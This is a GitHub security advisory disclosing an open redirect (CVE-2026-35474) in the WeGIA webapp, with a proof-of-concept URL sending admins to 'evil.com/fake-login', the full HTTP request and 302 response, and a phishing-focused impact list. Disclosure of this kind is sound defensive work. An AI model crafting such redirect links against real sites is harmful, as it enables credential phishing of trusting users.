

Open Redirect - atualizacao redirection - Unvalidated \$_GET['redirect']

Moderate nilsonLazarin published GHSA-7935-g3wg-h55w 4 days ago

Package

No package listed

Affected versions

<=3.6.8

Patched versions

3.6.9

Description

Summary

Open redirect has been found in WeGIA webapp. The redirect parameter is taken directly from \$_GET with no URL validation or whitelist check, then used verbatim in a header("Location: ...") call.

PoC with admin

Navigate to the following URL:

```
GET /WeGIA/html/configuracao/atualizacao.php?redirect=https://evil.com/fake-login HTTP/1.1
Host: sec.wegia.org:8000
```

Request

```
GET /WeGIA/html/configuracao/atualizacao.php?redirect=https://evil.com/fake-login HTTP/1.1
Host: sec.wegia.org:8000
Cookie: ga=GA1.1.2007036.1774077977; _ga_F0DXLW0j=002.1.s1774092446s2sg1st1774099208j60s1osh0; PHPSESSID=4b3qndfjvtkof7bjdnosqqq1
Sec-CH-UA-Platform: Linux
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: text/html,*/*; q=0.01
Sec-CH-UA: "Chromium";v="145"; "NotIA-Brand";v="99"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Sec-CH-UA-Media: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://sec.wegia.org:8000/WeGIA/html/configuracao/listar_backup.php?msg=sucesso&ccs=Backup20?enoviidh20comf20sucesso1
Accept-Encoding: gzip, deflate, br
Priority: ucl, 1
Connection: keep-alive
```

Response

```
HTTP/1.1 302 Found
Date: Sat, 21 Mar 2026 13:27:54 GMT
Server: Apache/2.4.62 (Ubuntu)
Expires: Thu, 19 Nov 1991 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: https://evil.com/fake-login?msg=sucesso&ccs=0 sistema jã estã atualizado!
Keep-Alive: timeout=5, max=100
Connection: keep-alive
Content-Length: 0
Content-Type: text/html; charset=UTF-8
```

Impact

It can be weaponized for phishing by sending a crafted link to an admin: the victim sees a legitimate-looking success message on the attacker's site after clicking. It allows to:

- Redirect users to phishing pages designed to steal credentials.
- Redirect users to malicious sites hosting malware or dangerous content.
- Perform social engineering attacks using trusted URLs from the WeGIA domain.
- Potentially interfere with authentication or session-handling flows.
- Damage user trust in the WeGIA platform.

Severity

Moderate 5.1 / 10

CVSS v4 base metrics

Exploitability Metrics

Attack Vector	Network
Attack Complexity	Low
Attack Requirements	None
Privileges Required	None
User interaction	Active

Vulnerable System Impact Metrics

Confidentiality	Low
Integrity	Low
Availability	None

Subsequent System Impact Metrics

Confidentiality	Low
Integrity	Low
Availability	None

[Learn more about base metrics](#)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

CVE ID

CVE-2026-35474

Weaknesses

- ▶ CWE-601

Credits



dapickle

Reporter



GabrielPintoSouza

Remediation developer